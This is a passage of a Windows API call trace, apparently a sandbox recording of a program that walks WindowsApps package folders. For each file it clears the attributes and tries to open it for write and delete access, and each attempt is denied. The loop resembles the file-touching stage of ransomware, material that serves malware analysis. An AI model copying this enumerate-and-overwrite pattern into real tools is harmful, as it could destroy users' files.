	[0091.176] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x5026d78
	[0091.176] wcscpy (in: _Dest=0x5026d78, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0091.176] wcscat (in: _Dest=0x5026d78, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0091.176] wcscat (in: _Dest=0x5026d78, _Source="Autogen" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen"
	[0091.176] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x102) returned 0x4716d10
	[0091.176] wcscpy (in: _Dest=0x4716d10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen"
	[0091.176] wcscat (in: _Dest=0x4716d10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\"
	[0091.176] wcscat (in: _Dest=0x4716d10, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\*"
	[0091.176] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502dc88
	[0091.176] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\*", lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec3ce583, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xec3ce583, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xec3ce583, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b568
	[0091.176] wcscmp (_String1=".", _String2=".") returned 0
	[0091.177] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec3ce583, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xec3ce583, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xec3ce583, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.177] wcscmp (_String1="..", _String2=".") returned 1
	[0091.177] wcscmp (_String1="..", _String2="..") returned 0
	[0091.177] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3ce583, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xec3ce583, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xec3ce583, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeCache_64", cAlternateFileName="JSBYTE~1")) returned 1
	[0091.177] wcscmp (_String1="JSByteCodeCache_64", _String2=".") returned 1
	[0091.177] wcscmp (_String1="JSByteCodeCache_64", _String2="..") returned 1
	[0091.177] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x124) returned 0x2e45138
	[0091.177] wcscpy (in: _Dest=0x2e45138, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen"
	[0091.177] wcscat (in: _Dest=0x2e45138, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\"
	[0091.177] wcscat (in: _Dest=0x2e45138, _Source="JSByteCodeCache_64" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_64") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_64"
	[0091.177] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_64" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\autogen\\jsbytecodecache_64")) returned 0x2024
	[0091.178] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_64", dwFileAttributes=0x20) returned 0
	[0091.178] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_64" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\autogen\\jsbytecodecache_64"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.178] GetLastError () returned 0x5
	[0091.178] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_64", dwFileAttributes=0x2024) returned 0
	[0091.178] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e45138) returned 1
	[0091.178] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3ce583, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xec3ce583, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xec3ce583, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeCache_64", cAlternateFileName="JSBYTE~1")) returned 0
	[0091.178] FindClose (in: hFindFile=0x477b568 | out: hFindFile=0x477b568) returned 1
	[0091.178] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502dc88) returned 1
	[0091.178] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716d10) returned 1
	[0091.178] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5026d78) returned 1
	[0091.178] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec3ce583, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xec3ce583, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xec3ce583, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0
	[0091.178] FindClose (in: hFindFile=0x477b0e8 | out: hFindFile=0x477b0e8) returned 1
	[0091.178] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502d7b8) returned 1
	[0091.178] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778660) returned 1
	[0091.178] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491ce80) returned 1
	[0091.178] FindNextFileW (in: hFindFile=0x46a74d0, lpFindFileData=0x470ed80 | out: lpFindFileData=0x470ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bb579, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x142dc8a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x142dc8a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x976f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp140_app.dll", cAlternateFileName="")) returned 1
	[0091.178] wcscmp (_String1="msvcp140_app.dll", _String2=".") returned 1
	[0091.178] wcscmp (_String1="msvcp140_app.dll", _String2="..") returned 1
	[0091.179] FindNextFileW (in: hFindFile=0x46a74d0, lpFindFileData=0x470ed80 | out: lpFindFileData=0x470ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142dc8a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x147a141, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x147a141, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x83840, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcamp140_app.dll", cAlternateFileName="")) returned 1
	[0091.179] wcscmp (_String1="vcamp140_app.dll", _String2=".") returned 1
	[0091.179] wcscmp (_String1="vcamp140_app.dll", _String2="..") returned 1
	[0091.179] FindNextFileW (in: hFindFile=0x46a74d0, lpFindFileData=0x470ed80 | out: lpFindFileData=0x470ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x147a141, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x14c65f8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x14c65f8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x60490, dwReserved0=0x0, dwReserved1=0x0, cFileName="vccorlib140_app.dll", cAlternateFileName="")) returned 1
	[0091.179] wcscmp (_String1="vccorlib140_app.dll", _String2=".") returned 1
	[0091.179] wcscmp (_String1="vccorlib140_app.dll", _String2="..") returned 1
	[0091.179] FindNextFileW (in: hFindFile=0x46a74d0, lpFindFileData=0x470ed80 | out: lpFindFileData=0x470ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14c65f8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x14ec852, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x14ec852, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x10e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcomp140_app.dll", cAlternateFileName="")) returned 1
	[0091.179] wcscmp (_String1="vcomp140_app.dll", _String2=".") returned 1
	[0091.179] wcscmp (_String1="vcomp140_app.dll", _String2="..") returned 1
	[0091.179] FindNextFileW (in: hFindFile=0x46a74d0, lpFindFileData=0x470ed80 | out: lpFindFileData=0x470ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14ec852, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1512aab, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1512aab, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x15540, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140_app.dll", cAlternateFileName="")) returned 1
	[0091.179] wcscmp (_String1="vcruntime140_app.dll", _String2=".") returned 1
	[0091.179] wcscmp (_String1="vcruntime140_app.dll", _String2="..") returned 1
	[0091.179] FindNextFileW (in: hFindFile=0x46a74d0, lpFindFileData=0x470ed80 | out: lpFindFileData=0x470ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14ec852, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1512aab, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1512aab, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x15540, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140_app.dll", cAlternateFileName="")) returned 0
	[0091.179] FindClose (in: hFindFile=0x46a74d0 | out: hFindFile=0x46a74d0) returned 1
	[0091.180] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x470ed80) returned 1
	[0091.180] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481bda0) returned 1
	[0091.180] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddc508) returned 1

Thread:
	id = 857
	os_tid = 0x1250

	[0082.057] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x481be58
	[0082.057] wcscpy (in: _Dest=0x481be58, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe"
	[0082.057] wcscat (in: _Dest=0x481be58, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\"
	[0082.057] wcscat (in: _Dest=0x481be58, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\*"
	[0082.057] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x470efe8
	[0082.057] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\*", lpFindFileData=0x470efe8 | out: lpFindFileData=0x470efe8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1538d09, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0d397aa, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb0d397aa, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7250
	[0082.059] wcscmp (_String1=".", _String2=".") returned 0
	[0082.059] FindNextFileW (in: hFindFile=0x46a7250, lpFindFileData=0x470efe8 | out: lpFindFileData=0x470efe8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1538d09, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0d397aa, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb0d397aa, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.059] wcscmp (_String1="..", _String2=".") returned 1
	[0082.059] wcscmp (_String1="..", _String2="..") returned 0
	[0082.059] FindNextFileW (in: hFindFile=0x46a7250, lpFindFileData=0x470efe8 | out: lpFindFileData=0x470efe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1538d09, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1538d09, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1538d09, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.059] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.059] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.059] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x46a4d98
	[0082.059] wcscpy (in: _Dest=0x46a4d98, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe"
	[0082.059] wcscat (in: _Dest=0x46a4d98, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\"
	[0082.059] wcscat (in: _Dest=0x46a4d98, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0091.135] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0091.138] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0091.138] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.138] GetLastError () returned 0x5
	[0091.138] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0091.139] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a4d98) returned 1
	[0091.139] FindNextFileW (in: hFindFile=0x46a7250, lpFindFileData=0x470efe8 | out: lpFindFileData=0x470efe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1538d09, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1538d09, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1538d09, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0091.139] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0091.139] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0091.139] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2e12e18
	[0091.139] wcscpy (in: _Dest=0x2e12e18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe"
	[0091.139] wcscat (in: _Dest=0x2e12e18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\"
	[0091.139] wcscat (in: _Dest=0x2e12e18, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxManifest.xml"
	[0091.139] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0091.139] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0091.139] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.139] GetLastError () returned 0x5
	[0091.139] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0091.139] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12e18) returned 1
	[0091.139] FindNextFileW (in: hFindFile=0x46a7250, lpFindFileData=0x470efe8 | out: lpFindFileData=0x470efe8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x155ef67, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0bda2d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x155ef67, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0091.139] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0091.139] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0091.139] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x4718350
	[0091.139] wcscpy (in: _Dest=0x4718350, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe"
	[0091.139] wcscat (in: _Dest=0x4718350, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\"
	[0091.139] wcscat (in: _Dest=0x4718350, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxMetadata"
	[0091.140] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4718eb0
	[0091.140] wcscpy (in: _Dest=0x4718eb0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxMetadata"
	[0091.140] wcscat (in: _Dest=0x4718eb0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxMetadata\\"
	[0091.140] wcscat (in: _Dest=0x4718eb0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\AppxMetadata\\*"
	[0091.140] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d7b8
